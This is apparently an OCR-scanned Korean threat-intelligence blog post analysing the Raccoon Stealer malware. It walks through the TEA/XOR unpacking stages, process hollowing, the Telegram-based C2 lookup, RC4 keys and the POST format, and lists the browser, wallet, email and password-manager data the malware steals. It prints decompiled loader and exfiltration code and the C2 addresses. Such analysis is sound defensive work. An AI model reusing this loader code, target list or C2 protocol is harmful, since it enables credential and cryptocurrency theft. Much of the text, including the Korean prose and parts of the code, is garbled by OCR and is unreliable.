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4. Raccoon Stealer 7} 0| 5= & utd L 2{A[Ot0{7} i ZStE|0f JI=Z Z 2Ot 2{A|0FE 7[EE
|

OS2 st= 159 2fsH A

"mask": "kcodesx,*2fax,*ibanx,*cardsx*,xbanksx,%cvvx,*cvc
"subfolders": ["true"],

"path": "SUSERPROFILES\\Desktop\\",

"shortcuts": ["true"],

"size limit": 50,

"excentinns": "\\windows\\\n",

“name": "Pabounh cton"

"name': "Mou OOKYMEHTH",

“mask™: “kcodesxk,*x2tax,*1bank,*cardsk,xbanksx,kcvvxk,kcvc
"exceptions": "\\windows\\",

"size_limit": 50,

"subfolders": ["true"],

"shortcuts": [“true"],

"path": "SUSERPROFILE%\\Documents\\"

"name": "HepasHue daunsl",

“path™: "SAPPDAIA%\\Microsoft\\Windows\\Recent\\",
"mask": '"kcodesx,*2fax,*kibanxk,*cards*,xbanksx,xcvvx,*xcvc
"exceptions": "\\windows\\",

"'size_limit": 100,

"subfolders": ["true"],

"shortcuts": ["true"]

5. Raccoon Stealer 2| M & ErF| CHAM O{Z2|H|0|M 222 o2t 42
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Product Name Type Product Name Type
Google Chrome (including Beta, SxS, Chromium) Browser Chedot Browser
Microsoft Edge Browser Torch Browser
Xpom Browser QQ Browser Browser
Comodo Dragon Browser UC Browser Browser
Amigo Browser Internet Explorer Browsear
Orbitum Browser Firefox Browser
Bromium Browser Waterfox Browsear
Brave Browser SeaMonkey Browser
Nichrome Browser Pale Moon Browser
RockMelt Browser Thunderbird Email Application
360Browser Browser Qutlook Email Application
Vivaldi Browser Foxmail Email Application
Opera Browser Bither Wallet
Go Browser Atomic Wallet
Sputnik Browser Electrum Wallet
Komata Browsar Electrum-LTC Wallet
Uran Browser Electroncash Wallet
QIP Surf Browser Ethereum Wallet
Epic Privacy Browser Exodus Wallet
CocCoc Browser Jaxx Waillet
CentBrowser Browser Monero Wallet
7Star Browser MyMonero Wallet
Elements Browser Guarda Waillet
TorBro Browser Brave wallet Wallet
Suhba Browser MetaMask wallet Wallet
Safer Browser Browser Generic wallets (wallet.dat) Wallet
Mustang Browser 1Password Password Manager
Superbird Browser Bitwarden Password Manager
Related Article

W1 Feb| EN | Story of the week: Stealers on the Darkweb

Sample Info

MD?5: ff8789097f9b226cecc127d0a301f676
SHA1: 912bb98de73078c71fdd79185d0e4455b8a953c2
SHA256: 3¢5120a6e894b64924dc44f3cdc0da65f277b32870£73019cefeacf492663c0e

Press enter or click to view image in full size
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Offset  Mame

80 Dans ID

84 Checksumed padding
88 Checksumed padding
8C Checksumed padding
a0 Comp ID

a8 Comp 1D

AD Comp ID

AS Comp ID

BO Comp ID

B8 Comp ID

co Comp ID

c8 Comp ID

oo Rich 1D

D4 Checksum
Rich Header

Fo| I Ol B E =

EXEAME o{7|7HR|TF AL A

Detailed Analysis

AN £

Value Unmasked Value
4cc1046f 536e6144
1faf652b o

11af652b o

11af652b (1]

11af65371f323735 1c0095521e
11af6514112b3735 300845218
1faf6sbaif2¢3735 910083521e
1{af652e1idda30c 5007beG27
1fafeshd1fae652b 9600010000
11af65221§253735 100835218
1af652a1f3b3735 10094521¢
1faf652a1f3e3735 10091521
68636952

1faf652b

EMUES2E
x

o

Stage 1 — TEA decryption (Obfuscated)
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Meaning
Dans

0

0

1]
21022.149.28
21022.132.63
21022.131.143
50727.123.5
0.1.150
21022.138.1
21022.148.1
21022.145.1
Rich
1fafeészb

|:||.|C> o-|a:17.|| II-A-IE|0-| oloL_| 7|-.=_
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Productid Buildid
MasmS00 21022
Utc1500_CPP 21022
Ute1500_C 21022
Implib&00 50727
Impartd o]

Utc1500_LTCG_CPP 21022
Cvires900 21022
Linkera00 21022

TE7t ChE B X = 0] UL

Count

28
63
145
5
150
3

1

;

V5 version

Visual Studio 2008 09.00
Visual Studio 2003 09.00
Visual Studio 2008 09,00
Wisual Studio 2005 08.00
visual Studio

visual Studio 2008 09.00
Visual Studio 2008 09.00
Visual Studio 2008 09.00
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Press enter or click to view image in full size

// Start of unreachable part
if ( uBytes == 0x25 && lstrleniA("") == Ox65F6 )
{

GetWindowInfo(0, 0);

gmemcpy(v25, L"telegumexoyihoz", sizeof(v25));
memset(v26, 0, sizeof(v26));

v2e = v27;

floor(0.0);

sgcanf(0, " %s %d %f", v5, v6, vT);
scanf(0, 0, 0, 0);

remove(0);

sub_401580(v27);

exp(0.0);

realloc(0, 0);

calloc(0, 0);

perror(0);

sub_4015E0(v27);

}
// End of unreachable part
for ( i = 0; i < (int)&unk 499677; ++i )
{
if ( i == 0x291CB )
uBytes = dword 437E30; // Reached once
// Start of unreachable part
if ( uBytes == (0x49 )
{

GlobalAlloc(0, 0);
GetOverlappedResult (0, 0, 0, 0);
GetLastError();

}
// End of unreachable part

}
for ( § = 0; § < 0X2BD9DB; ++ )

if ( ] < 0x4932 )

GetAncestor(0, 0); // Meaningless function call
if ( uBytes == (xC5 )

GetFileAttributesA(0); // Rever reached
dword_B79B94 = 0; // Reached multiple times

}
// Whole loop is dummy code
for ( k = 0; k < 0x32D05D76; ++k )

if ( uBytes == (XFC )

GetConsoleFontSize(0, 0);
ConnectNamedPipe(0, 0);
SetLocalTime(0);

}

GetLastErrory();

if ( uBytes == (x6C )

3. TEA &t2|
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5t0] 2t S5} =l payloadE 25 35}5tH, 253} =l payloadE
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Stage 2 — XOR decryption & unpacking

1. Stage 12| == payload= shellcode SE{0|O], ZICISE U TE|Zo =2 MME 7| AEZIDIH|O|EE
XORSH0 £535150 225t 42 AR E C|0|H E HAuijZ &t

2. 2tEtSt oAl 2 Soff Al Z2EMA 2= M kernel32.dll 2 =& 3t10, LoadLibraryA 2}
GetProcAddress®| =AE & =SSt}

Press enter or click to view image in full size

LOBYTE (crypter_struct->func0) = 0;

vl = 03

payload info addr = 0x401805;

crypter struct->payload_info_addr = 0x401805;

crypter struct->data_start addr = payload info addr + 0x3D;

LoadLibraryA = import_by hash(0xD4E88, 0xD5786);// kernel32.dll, LoadLibrarya
GetProchAddress = import by hash(0xD4E88, 0x348BFA);:// kernel32.dll, GetProchddress
crypter struct->LoadLibraryA = LoadLibraryh;

crypter struct->GetProcAddress = GetPFrocAddress;

Press enter or click to view image in full size

int stdcall import by hash{int al, int a2}
v int i // ecx
int w3; // edx
int vd; /S ecx
int v5; /7 ebx
_DWORD *v6; // edx
unsigned intlé =v7; f/ ebx
int wa; /7 edx
int v9; //f ecx
int wll; f/ [esp-Bh] [ebp-14h]
for ( i = *(( DWORD *)NtCurrentPeb()->ImageBaseAddress + 3); check_hash(*( BYTE =*+*)(i + 48), al, 2); i = vi )
i
vil = "( DWORD *)(vd + 24);
v5 = yll + *( DWORD *)(*(_DWORD *)(vlil + 60) + v1l + 120);
vE = [ DWORD °)(.r1 + *{ DWORD =)(v5 + 32));
v7 = {unsigned intlé =){vil + t{ DWORD *){v5 + 38));
while ([ check_hash(( BYTE =)(vil + *yE), a2, 1} )

vE = {_DWORD *)(vB + 4);
47§

}
return *( DWORD *)(4 * *u7 + v9) + wil;

3. AtE El hash &t+Z python2@ £ E & 6tH CtS 1} ZICt

def hash(s):

h=20
for ¢ in s:
t = ord(c) | 0x60
h=2%*(t+h)
return h

4. 0|F0|= of AN S &E6HX| &1, 4= & =6t LoadLibraryA2} GetProcAddressE 0| 235}+01 kernel32.d112]
k=2
=

AL 5 GetProcAddressOf| Z 6t &t 0|52 2™ H0{ TAE EE5ICY.

Press enter or click to view image in full size
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kerneliZ handle = 0;

strepy(vi, “"kernel32.dll");

kerneli2 handle = ({int {(_ stdcall +)(char *})crypter struct->LoadLibraryA)(vi);

strepy(vi, "GlobalAlloe®);

vi[lz) = 0;

crypter_struct->GlobalAlleoe = ((int {__stdecall +*){int, char *)})crypter_struct->GatProcAddress)(kerneli? handle, wi);
stropy(vi, "GetLastError”};

erypter_struct->GetLastError = ((int (_ stdeall +*)(int, char *))erypter_ struct->GetProchddress)(kerneli2_handle, wi);
strepy(vi, "Sleep®);

vi[B] = 0O}

crypter_struct->Sleep = ((int (__stdeall *)(int, char =))erypter_ struct->GetProchddress)(kerneliZ_handle, v3)j
strepy(vi, "VirtovalAllee®);

crypter_struct->Virtuslalloc = ((int [_ stdecall +)(int, char *))crypter struct->GatProchddress)(kernel3? handle, wi);
strepy(vi, "CreateToolhelpiZSnapshot”)y

crypter_struct->CreateToolhalp32Snapshot = ((int | stdeall #)(int, char *))crypter struct->GatProchddrase] |
kerneliZ handle,
viyy

stropy(vi, "Module32First");

vi[l6] = 0;

erypter struct->Module32Pirst = ((int (_ stdeall =)({int, char *))erypter_ struct->GetProchAddress){kernelil handle, vi});
strcpy(v3, "CloseHandle™);

vi[lz] = 03

regult = ((int (__stdeall *){int, char v))erypter struct->GetProchddress)(kecneli2 handle, vi)j

erypter struct->CloseHandle = result;

return resultj

5. 50 ZENAL DE AKAS NBHOE HSH H2 U|0|H 2E5HE AIEIC

Press enter or click to view image in full size

int _ cdecl crypter_decryption start(crypter struct *crypter_ struct)
{

unsigned int i; // ebhx
int module_snapshot; // edi
MODULEENTRY32 me; // [esp+Ch] [ebp-224h] BYREF

medwSize = 548;
for ( i = 0; 1 < 0x64; 441 )

{

if ( i

{{void [_ stdcall *){int))crypter struct->5leep)(100);
module_snapshot = ((int (__stdcall +*)(MACRO_TH32CS, _DWORD))crypter struct->CreateToolhelp22Snapshot)(
TH3 ZCS_SWHODULB Fl
H // Include all modules of current process

{ module_ snapshot Im =1 })
break;
{ ((int (*)(void))crypter struct=->GetLastError)() != ERROR_BAD_ LENGTH )
break;

if
£

s

}

if ( {{int (_ stdcall *){int, MODULEENTRY32 w]}crypt_er_struc:-}ﬂodu1332!'i:st] (module snapshot, kma} )
decrypt_and_run_code(crypter struct);

return ((int (__stdcall *)(int))crypter_struct->CloseHandle)(module_snapshot);

6. M3 &l T+ 2I0f| (2 XOR 7| £ M9 310{ EE5E +5t, o[BIt == 0] U= 22 Auf

ro

FCF.

rr

Press enter or click to view image in full size

wvoid _ cdecl decrypt_and run code(crypter_struct =crypter struct) |
{

int ad; // [esptDh] [ebp=Ch] BYREF

unsigned _ int8 <buffer; /f [esptdh] [ebp-8h]

int data_addr; // [esp+Bh] [ebp-4h]

data_addr = crypter_ struct->data_start_addr;
xor_decode(

SEypter struct,

data_addr,

crypter_struct->paylead_info addr->encrypted_size,

crypter struct->payload info_addr->xor_key init);
if ( crypter struct->payload info_addr->packad )

buffer = {unsigned _ int8 *)({int (__stdcall +)(_DWORD, int, MACRO MEM, MACRO PAGE))crypter struct->VirtualAlles)(
r
crypter struct-rpayload info addr->allocation_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
ad = 0;
unpack:h‘nttur({unaigncd intl #*)data_addr, crypter struct->payload info_addr->encrypted size, buffer, &ad);
data_addr = {int)buffer;
crypter struct->payload info addr->encrypted_size = adj

}

!/ Jump to decrypted code

__asm { jmp [ebp+data_addr] }
}

7. 255} 2 oAufZlo| Bt =R F IS0 Stage 322 QI Bt
Get S2W’s stories in your inbox

Join Medium for free to get updates from this writer.
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Remember me for faster sign in
XOR 5535 24| 23 FIHE

Press enter or click to view image in full size

==

; Attributes: bp-based frame

xor_decode proc near

crypter struct= dword ptr &
data_addr= dword ptr OCh
gize= dword ptr 1l0h
xor_key_init= dword ptr 14h

; int _ cdecl xor_decode(crypter_struct *crypter_struct, int data_addr, unsigned int size, int xor_key_init)

push abp

mov ebp, esp

moy eax, [ebp+xor key_imnit]

push asi

push edi

mov edi, [ebp+crypter struct]

xXor asi, esi

mowv [edi+0Ch]), eax

cmp [ebpt+size], esdi

jba short lec_4017A2

=
y

loc_40178D:
mov eax, [ebp+data_ addr]
push edi ; Crypter_struct
laa edx, [esi+eax]
call generate_xor key
xor [edx], al
inc esi
pop eox
cmp esi, [ebptsize]
ib short loc_40178D

loc_4017A2:
pop edi
pop esi
Pop ebp
retn

xor_decode endp

1. XOR Key A A 4
XOR Key M4} gt~ A3 Z1to| LOBYTE £E2g 7|2 AIR3510] 1ByteE 253515110, 57472 A
Zoll FRACH7FCHS 1ByteE ?{ et keyE ME S Il 11 242 A AL BT

2. Unpacking
Payload §EE E 11 U= 220 H|0|& &= 0957} boolean 212 2 X EE|0] Q204 5 Z4O]
2ol 22 M Ho|Ee Z7|NHE M Ee| &Y = AHufZ 2 - Sict

Stage 3 — Unpacking & Process hollowing

1. Stage 12| == payload2} O} 2t7}X| 2 Stage 22| £| = payload = shellcode SE{0|04, Z &t AR i
ZE $3dst =S X 2 2 Process hollowingS S8 Raccoon stealerE Al GHC},

2. PEBO{|AM O|O|X| HO|A FAE [FL2 T, 11 22 0|25 =52 2 kernel32.d112| S =1}
GetProcAddress2| TAE & =511, F Zt2 0| 25}0{ LoadLibraryA2| FTAE & S5IC}

3. 0| = GetProcAddressE 0| 3l 225t f+E2| FAE B S5t

4. 4|0l &= o 2of w2t X[ H = FA0 MEE0] Q= Hlo|Ee] HIZE F=-THAHLL JAIZ &

ot5t b T of] SAFSICH.
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—BroF @tE0| =[0f QUof AT YUS Y E B2, 0|85
2 MEo| A2 H|0|E{ 7t UFEof
91 SEA{Of A SAFSHLE QTH B PE THUS SRH A3

hollowing S =8 SIC}.

— ImageBaseAddress £ E{ AX| Of Zlofl 225t EHUUZ HOIX| Es H4HES
51 m e

=
PAGE_EXECUTE_READWRITEZ H&A

St 5| memset2 O| 23l ST YUE 022 =7|3}5tCt
— =ASH & PE IHUS 3| M Eoj| et 7|5t B 9oi0) ojE stk
-2E Yol AEEH mAHOM 2Fe =M= H=S5to] o E E Hio|HZ |2l &8 S5
C}.
fo0:00401El5 ; ~———mecmccccmccccc e e ————
foo:00401E16 db 5
foo:00401E17 is_packed db 0
foo:00401E18 packed _size dd 8F400h
foo:00401E1C final payload size dd 8F400h
foo:00401E20 mapped size dd 92000h
foo:00401E24 jump ppint dd 3DC5Bh
foo:00401E28 db 0DOh ; P
foo:00401E29 db 42h ; B
foo:00401E2A db 8
foo:00401E2B db 0
foo:00401E2C db 18h
foo:00401E2D db 1

Press enter or click to view image in full size

_ v
PP

push dword ptr [ebp=44h]
call dword ptr [ebp-30h]

pop ecx
X

o e =

loc_401902:

mov eax, [ebp-0ABh]
mov eax, [eax+0Eh]
mov [ebp-0A4dh], eax
mov eax, [ebp-0A4h]
add eax, [ebp-98h]
leave

S
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Stage 4 — Final payload

Raccoon stealer2| 2X|
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MD5: ec2e3d86a8ef4c3bf56a02bac36775a2
SHA1: 2b9b94c5ca0b741b1b08bfd02f6aea335014b065
SHA256: 93e42ca54963eceb81845cdaBe38c5880eec9acd4372aald40fc6f250293fdc2

Rich Header

Press enter or click to view image in full size

Offset  Name

80 DanS ID

a4 Checksumed padding
88 Checksumed padding
ac Checksumed padding
a0 Comp 1D

a8 Comp ID

Al Comp ID

A8 Comp ID

80 Comg ID

B8 Comp ID

co Comp 1D

c8 Comp ID

oo Comp ID

D& Comp ID

EO Comp ID

E8 Comp ID

FO Rich ID

Fd Checksum

String decode

Walue Unmasked Value Meaning
Teeddect 330egi4d Dans
afga2ies ] 0

Afga2f88 0 V]

afgazfes 0 0
4f22210%228947d3 110103635b 26715.259.17
4f8a2f34408847d3 bo01056850 26715261188
4f2a2f804eBd47d3 101076850 26715.263.1
4fgaz2fobdeBed25d 1301046ddS 28117.260.19
4fga2fo04e89425d 1801036ddS 28117.259.24
4Af2a2fdadesis25d 5201056ddS 28117.261.82
4f8a2f914eBe47d3 1901046850 26715.260.25
4f232f894eBc4Td3 101066850 26715.262.1
4f822f034e8b47d3 1b0101685b 26715.257.27
4fga2f7a4feb2fas f000010000 0.1.240
Afga2fB7 40834112 f01006e0a 28314.265.15
4fga2f894e884112 101026e9a 28314.258.1
58636932 Rich
4fgazfes 4f8a2fes

0| &35t0] EAE AtE & decodeE & BiCL

Press enter or click to view image in full size

vB = 0xF;
*( DWORD *)Str2 = 0x8385A20F;
v71l9 = 0x9E919983;

vl = Q;
v720 = 0;
while ( 1 )

{

}

str2[v9 + 1]
if ( (unsigned int)++v9 >= 7 )

break;

“m ~yf§;

v8 = Str2(0];

Type 1: Key = ~encoded_data[0]

Press enter or click to view image in full size
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Eroductid Bulldid
Masm1400 26715
Utc1900_CPP 26715
Utc1900_CVTCILCPP 26715
Ute1900.C 28117
Masm 1400 28117
Ute1900_CPP 28117
Ute1900.C 26715
Utc1900_CVTCILC 26715
Implib1400 26715
ImportD o

Utc1900_LTCE CPP 28314
Linker1400 28314

Count

17
188

19
24

25
27

240
15

W5 version

Visual Studio 2015 14.00
Visual Studio 2015 14.00
Visual Studio 2017 14.01+
Visual Studio 2015 14.00
Visual Studie 2015 14.00
Visual Studio 2015 14.00
Wisual Studio 2015 14.00
Visual Studio 2017 14.01+
Visual Studio 2015 14.00
Wisual Studio

Visual Studio 2017 14.01-
Visual Studio 2015 14.00

// Russian
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— ~ »

vis = 114;
*gProcName[8] = 0x1D3E2E72;

*&ProcName[12] = 0x521E1311;

vié = 0;

*gProcName[16] = 0x6130621;

*gProcName[20] = 0x17; // \Local State
while ( 1 )

ProcName[v36++ + 9] "= y35;
if ( v36 >= 0xC )

break;
v35 = ProcName[8];

}

Type 2: Key = encoded_data[0]

M 2o 2ot

b

=

EXY

0t

A= 4

02

LRIE 2T Mutex2t A AT 7|2 210 4 S =QIGiCf

i

Press enter or click to view image in full size

CoInitialize(0);
if ( check_mutex() )

if ( isRunningAsSYSTEM() )
create_explorer process_with_duplicated_ token();
memset(LCData, 0, 255u);
vl = GetUserDefaultLCID();
GetLocaleInfoA(v7, LOCALE SENGLISHLANGUAGENAME, LCData, 255);

——fl — .

Press enter or click to view image in full size

v5[0] = OXACA4B832;

vl = GetUsername();

v5[1] = OxBABCABAF;

vl = 0x32;

v6 = 0XBBAB; // uiabfgwfu
vi = 0;

vi = 0;

while ( 1)

*((_BYTE *)v5 + ++v2) *= ~vi;
if ( v2 >= 9 )

break;
vl = y5[0];
}
vi = 02

v3 = strcat_withStrdup((char *)v5 + 1, v0); // uiabfgqwfu + username
if ( OpenMutexA(MUTEX_ ALL_ACCESS, 0, v3) )
return 0;
CreateMutexA(0, 0, v3);
return 1;

Mutex: “uiabfqwfu” + username
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Local System @Et2 2 A8 =91 Z < explorerexe T2EMAE 3o} ES 2| £ 5 EZE 0|35l
explorer.exe MAE =7 A st

7|2 A0 dE S =elsto] 2{A|0FE Zetel CIS =752 AMZ HHE 89

Press enter or click to view image in full size

vl = CreateToolhelp32Snapshot({2u, 0);
pe.dwSize = 556;

if | Process32FiratW(v3, &pe) )

{

{
v4 = std::basic_wstring::asciiToUnicode(
{std:ibasic _wstring *)explorer exe a~uechev
(std::basic_string *)explorer exe multi bytc)
= weslen(pe.szExeFile);
vh = #({ DWORD *)vd + 4);
{ *({_DWORD *)vd + 5) >= 8y )
vd = wigtd:zbasic wstring =«)wd;
if | vﬁ == v5 && lwoestrncmp(pe.szExeFile, (wchar t *)vi, vE) )

=-1;
dnallocatc widechar_str((int)explorer exe widechar);
if [ vo )
{

wil = 03

vl = OpenProcess(PROCESS_ALL_ACCESS, 0, pe.th32ProcessID):

if | OpenProcessToken(v7, TOKBN ALL_ACCESS, &TokenHandle)
&& DuplicateTokenEx(TokenHandle, TOKEN ALL ACCESS, 0, SecurityImpersonation, TokenPrimary, &phNewToken) )

t CloseHandle(TokenHandle
GetModuoleFileNameh{0, F
vE = strlen(Filename);
mbatowea {Commandline, Filenams, w8 + 1});
// Create explorer.exe process with duplicated token
CreateProcessWithTokenW(phNewToken, LOGOM_WITH_FROFILE, 0, CommandLine, @, 0, 0, 0, 0);

name, 260u);

}
CloseBandle(v7);
}
else

wi = 03

}
}
_ while ( Process3ZNextW(vi, &pe) );

|El

=
Iz

o
0

Elwl!

fjo
O

2ol A10{: 2{A|Of, ST 2IO[L}E, HELRA, FTIXFS AL, F|2T|AEL OLE0|L|Of, EFX[IAEL =X
H| 7 [ AEF
CIS =270 A AiA =] ok T E T} JHX| = CHER @ £%/0|09, Raccoon stealerE CIS =7 &A1 5l 7/

-

O - o
OS50l Mz E 7tsdol o2 =Ct

AN

Press enter or click to view image in full size

" DWORD ']quQS[a] = OXFFETCB62;
strcpy(v727, "e8" // Uzbek

VI26[Vv23 + 4] s ~y22;

if ( (unsigned int)++v23 >= 5 )
break;

v22 = v726[3];

}
v127(2] = 0;
if ( Istrcmp(LCData, &v726[4]) )

{
EXIT: // This stealer will not work on Uzbek systems

_loaddll(0); /) exit(0)
__debugbreak();

0|=, XOR encode= RC4 KeyZE decodedtC}.

Press enter or click to view image in full size

t(_owonb *)encoded RC4_ key = xmmword BOD3EO;
v698 = 0xBC; // 245a32736074656e5c40624539767a52

do
*((_BYTE *)encoded RC4 key + ++v24) “=m ~LOBYTE(encoded RC4 key[0]):

while { ¥24. < 18 )3
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RC4 Key: 245a32736074656e5c40624539767a52 (HEX)

Base64 encode=l RC4 CiphertextE A7|2| 7| 2 25 5}5+0{ URL

=&5l URL => https://telete[.]in/bpa1010100102

Press enter or click to view image in full size

e Telegram

Don't have Telegram yet? Try it now! >

bpa1010100102

5 subscribers

f7ca9NSWg0q09gJmDa3VEGtmiuwQI2Y8=d
B-vda

VIEW IN TELEGRAM

Preview channel

- 230 T2 Bio LS U2 F Y0 A FE 5H0| E, F|0f AR E| 6510| =8 | HBict.
- #1122 Base64 Decode F H10|L42| {0 W2 A} 2 5H=TT F RC4 KeyS 0| 85104 2H 543!
C}.

Press enter or click to view image in full size

std::string::string(
(std::basic_string +*)Srec,
"4292dBc9b241f3ea2Bll6d4762c9bT6C B Y

RC4 Key: “4292d8c9b241f3ea28116d4762c9b76c” (String)

« S35 23}, C2 FAE Ofef 2 2.
http://34.89.59[.1109/

» Response HeaderE S5l nginx 2 28 =

Page 14 of 20
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¥ Response Headers View parsed

HTTP/1.1 208 OK

erver: nginx
Date: Tue, 11 May 2821 @6:18:81 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

ontrol-Allow-Origin: #*

ontrol-Allow-Headers

. [EFEW Sl *ﬁEE'HS’-PO_’E" = 2l 02 A" =2 E 9| Bio HA|X|E TSI SH 22 C2 FAE

=
« HKLM 9|9—| fE 10 L2 X}

Z vt 10, oXf ALE X} 0|5 2 HEO|LH 2| LHO]| Base64 encoding &
RC4 encryption2| =IO 2 MZE= EZ i1} 8 F|SEH O Z C20 POST 2¥ o= HH H|0|EHE

ekl

ExampleO}2f 9} Z+S A|AEI0| QIctT JFAs| =cf.
MachineGuid = “f2c@1c55-365c-4752-a423-a869227e643a"

username = “user”C20{ 2 Cf|O|E{= of2{et ZCt.
b=F2C@1C55-365C-4752-A423-A869227E643A_user&c=e3de2e9c9bdeacBc27582c1340ec7fc75ch896be&f=json

Press enter or click to view image in full size
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vil = strcat uithstrﬂup[lchu: *)arza2, estr2(l)):;// b=
pchuE[c: = 25
Ge'uaerwa:ﬂnguner“a"n, &pchBuffer);
strepy(viié, =" _"
vi2 = (char *)read_machine guid(v530); £/ MACHINEGUID
LOBYTE(v798) = 19;
if ( *((_DWORD *)v42 + 5) >= 16u )
w4l = #{char **jvii;
vi3l = gtroat uiths::dup[:mz, EvI26[11);: /{ MACHINEGUID_
vi4 = gtreat withStrdup(: username): // MACHINEGUID username
vi5 = gtroat withStrdupivil, vdd); £ b=MACHINEGUID username
LOBYTE(v758) = 18;
viE w w45
deallocate multibyte str{(int)v530);
vi7 = 1173
#{ DWORD *)vw732 = OXBTESACTS; /i acm
w3l = 0;
vid = 0;
while ( 1 )

vIIZ[v4B + 1) "= ~wil;

if ( (unsigned int)++vid >= 3 }
break;

w47 = vw732[0):

¥
vT3il = 0;
vid = streat withStrdup(v4ié, Ev732[1]); £/ b=MACHINEGUID username&c=
v50 = (char ®=)véd5_plaintext}
if { w648 >= 0x10 )
w50 = v645_plaintext[0];
vil = gstreat withStrdup(v4d, v50); £ b=MACHINEGUID username&c=aldelaejcibdeaclc2?582cllidlecTicT5chidéba
#( DWORD *)v720 = OXBCBIF72E;
vhZ = 0x2E;
V72l = OxBFBEA2EB; f! &f=json
w722 = 0;
w53l = 0;
while ( 1 )

“m o=y52y

wE2 = v12000];

¥
w722 = 0;
v54 = st;cat_uithﬁtrdup[vEl. EVI20[1]); £/ b=MACHINEGUID username&c=eldeleicibdeaclc27582cli40ecTic?Schbidbébastf=json

C2HSHO|H dd 2=

o MAME H|O|E{E RC4E2 2S5} & Base64 encode & C22 MESiC}

o

Example(| OA|F ST A|AEI)RCA Key: 245a32736074656e5c40624539767a52 (HEX)
(2 &8 23 HolH
02xvQ411NQYOtL2IzpgwpIkCVulGalf7mN4n6RnDELYOKETNg113f1pUr InASPLA45vM87sQgDH/ ZWVWimkMQIpdRABISE72dMbHgO.

o C2 AMEOI|M json ™EH 2| config(M X Zh)S Httstct. i e A
X

HZtoll= Sxi ™55 PCe| P2} 2IR|
ME 9l o Z20M ofiH 7| Z02 OtUS EXMS K| MY

Press enter or click to view image in full size
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=3k
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ul
“ip*:
"location

“ecountry': "Un
“countr
"state"
“state_cod

zip": 38301,
"latitude”: 33.7485,
"longitude”: -84.3871

untex, kcrede

“shortcuts

Ysize limit"
"exceptions
“name": "FPab

cards#, b

“5ub1o1der
“shortouts™:
“path"

"exception
Ysize limi
"subfolder
"shortcuts

screen_enabled"
is h1ftnry enabled

of2h ef Ztt.

rlo

Wallet: Bither, Atomic, Electrum, Electrum-LTC, Electroncash, Ethereum, Exodus, Jaxx, Monero, MyM

rlo

=13=5!
o

ol

tC}.

Mo

0|&

r

BeteM B sE2 oot &

rlo

.S 2| HEH 2| configh| M “au” 7| 2] ZtE 2101 C2 22t Rl A 204 A sqlite3.dll Tt S

%USERPROFILE%\AppData\LocalLow\sqlite3.dll 0| C}2 Z =5tC}.

(=2
Data, Cookies, User data, Web Data& %=Z! ._H-'—f XES™MOoZ=1D, H|EHS, 27|, A}
&} 7t
=

MEItE M £ YEBICL Bl &

AtS Brave wallet, MetaMask wallet S 0|C}.

3. config®| is_history_enabled 7| Zt0| 191 Z S Browser History = S}74| $=Z!StC}.

. Internet Explorer2| XS 2t 2l MEH= HA M E L Windows Vault®l| M &= AH HEE =& 5iCt
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)
2)
3)
4)
5)
6)

10. F|
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(o]

EIMUHE| HEH 2| confighi| A “Is” 7|2| Z2f2 0| C2 FA2l & &l Z20|A zip2 2
%USERPROFILE%\AppData\LocalLow\gC9tT2iQ3s\pY4zE3fX7h.zip Of| CI2 2 E & =2 o A| &t
=

Ct 2= of{ x| Z 1, DigiCertt| M 248l =l Mozilla Corporation2| QIS Z A 0| = DLL Tt 0]
Sof Algg stolgt 4+ Yot

LOHE SR B A THU Q| Al B 7 AZHS Q191K O 2 BIZBICE (20195 3F 142 25 34|
2082 52x)

. U=2 oliAMSto] 22 Mozilla DLLE &-&35t0] Mozilla M Z & IHl K| Z0i|AM Ci|0|8{ § =ZI BTt
=%l A2 Firefox, Waterfox, SeaMonkey, Pale Moon, Thunderbird S O|C}.

. Email Application 2t&d A& MEE =& &tC} =& A2 Thunderbird, Outlook, Foxmail SO0[C}.
Foxmail 2| 22 & 227t 1 =0 0], EFY Z20| dX|& 220U AE HE +=&0| 7ts
SICt. =% 7t A 2= Ct=21f ZC} D:\Program Files\Foxmail 7.2\Storage, D:\Program Files
(x86)\Foxmail 7.2\Storage, D:\Foxmail 7.2\Storage, C:\Program Files\Foxmail 7.2\Storage, C:\Program
Files (x86)\Foxmail 7.2\Storage, C:\Foxmail 7.2\Storage

9. Lo At EE F ettt C2 M| Lls A|AE S5 A| SEH 22 F0{Z config L0 Z&tEl HE

E 22 &gt FetEl= mlsiAt 2 = ot ef 2t

1) IP, Location (Country, State, City, Zip, Latitude, Longitude)

2) %USERPROFILE%\AppData\LocalLow\iK0eK11K3k C|Z2E{Z| & MM St =, config[“c”][“m”] LH 2]
S

ZHof| St= 2 X E 22 L 519 CIEE 20| M 2ot S AFEHCL. EEBE, machineinfo.txt Off Of2H

o4 =<

Raccoon A 2l dle= ubip - 2 MZo| AL 1.7.3 | Sat Feb 27 21:25:06 2021
Raccoon &ldH A|Zt
Bot ID ({MACHINEGUID}_{username})

Platform (Battery =X{ 0{EZ laptop/desktop 71&)
FZSt 27|, HAR/YE, oY

AAE HE

- AAHE 910{, Timezone, IP, Location, ZHFEE{ 0|, Username, Windows version, Product name, Systi

Moz 472 Co|E B 2E U B sich

OB

Press enter or click to view image in full size

user AppData LocalLow

B wiozilla
B sqlite3.dll W
2 vhpLndKiGbazip 2021-05-14 23 5:52

11. config[“is_screen_enabled”] Z£0| 121 A, SixH A|AHIQ| AFRIAS U=OIU0| FII5HF, C2 MHE
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12. config € S5l Dropper 7| 50| MM = A<, X|H = URLA|A Z} S 2O} ShellExecuteA SH~2 A
=

02
rot

config[“lu"] == [{“t": Drop file type (10|™ DLL, 10| Of-|™ EXE), “u”: Drop file URL, “f": function
DLLE rundll32.exeE 0|25l AlsHst, EXE= 1F AISHSICEH,
St 0|20| F0{Zl A= rundll32.exe drop_file_name,function_name 1} Zto| EX &tE X|&SI0] Al

02
roh

13. K7FARR| 7]50] MHE A2 cmd B

Mo

0|

0t
=O£
|>
|>
HU
[

>
>
rol
n

cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q “%s”

Y
Tl
4
=2
0l0
OF
2

i
=
L

o
ob

| = Stealer 2tA1 T = = Raccoon 2|0 = Vidar, Azorult, Taurus, Redline, Ficker = C}
Al Soll ch3t B2 S 1E5| £55Hs 20| W5,

==0

k09 o
ol
n
o
rr on
M o 90
>
m
kl
30

m
0z
i

Stealer 2f& A E0f| 2|5 EXFE A H 2 Ct3 Y LHOIM FES| Hel =0 /len] HAt=ollE 2 E X5
A} CTI £ 2 M9l Xarvis Enterprise £ S5l &9l 7}55t04, 124 2l QX2
o

